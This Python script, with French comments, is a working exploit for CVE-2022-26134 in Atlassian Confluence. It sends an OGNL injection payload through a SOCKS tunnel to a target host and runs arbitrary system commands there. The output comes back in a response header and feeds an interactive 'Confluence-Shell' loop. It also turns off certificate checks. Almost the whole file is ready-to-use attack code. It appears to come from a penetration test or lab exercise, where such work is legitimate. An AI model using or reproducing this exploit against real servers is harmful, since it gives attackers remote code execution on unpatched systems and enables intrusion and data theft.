import requests
import sys
import urllib.parse
import urllib3
# Désactiver les avertissements de certificat SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# --- CONFIGURATION ---
# L'IP de ta cible (telle que vue à travers le tunnel)
TARGET_URL = "http://192.168.2.20:8090"
# Ton proxy SOCKS local (Chisel)
PROXIES = {
'http': 'socks5h://127.0.0.1:1080',
'https': 'socks5h://127.0.0.1:1080'
}
# Note: 'socks5h' signifie que la résolution DNS se fait via le proxy (plus discret/stable)
def send_command(command):
# On encapsule la commande pour éviter les erreurs d'espaces ou de caractères
# On utilise un payload OGNL CVE-2022-26134 qui injecte le résultat dans le header X-Cmd-Response
# Encodage de la commande pour l'URL
cmd_encoded = command # Dans certains cas, il faut double encoder, on teste simple d'abord
# Le Payload OGNL "Magique"
# Il exécute la commande et renvoie le flux (stdout) dans le header de réponse
payload = "%24%7B%28%23a%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%22" + \
urllib.parse.quote(command) + \
"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%7D/"
full_url = f"{TARGET_URL}/{payload}"
try:
# allow_redirects=False est VITAL. La donnée est dans la réponse 302, pas dans la page finale.
r = requests.get(full_url, proxies=PROXIES, verify=False, allow_redirects=False, timeout=15)
if "X-Cmd-Response" in r.headers:
return r.headers["X-Cmd-Response"]
else:
return f"[-] Pas de résultat. Code retour: {r.status_code}. Peut-être que la commande ne renvoie rien ou a échoué."
except Exception as e:
return f"[!] Erreur de connexion : {e}"
def main():
print(f"[*] Connexion au shell Confluence sur {TARGET_URL} via SOCKS...")
print("[*] CVE-2022-26134 Exploit - Type 'exit' to quit")
# Test initial
print("[*] Test de connexion (id)...")
res = send_command("id")
print(f"Réponse: {res}\n")
if "uid=" in res:
print("[+] SUCCÈS ! Shell interactif ouvert.")
else:
print("[-] Attention : Le test 'id' n'a pas retourné d'uid. L'exploit peut ne pas fonctionner.")
# Boucle interactive
while True:
try:
cmd = input("Confluence-Shell$ ")
if cmd.strip().lower() in ['exit', 'quit']:
break
if not cmd.strip():
continue
output = send_command(cmd)
print(output)
except KeyboardInterrupt:
print("\nSortie.")
break
if __name__ == "__main__":
main()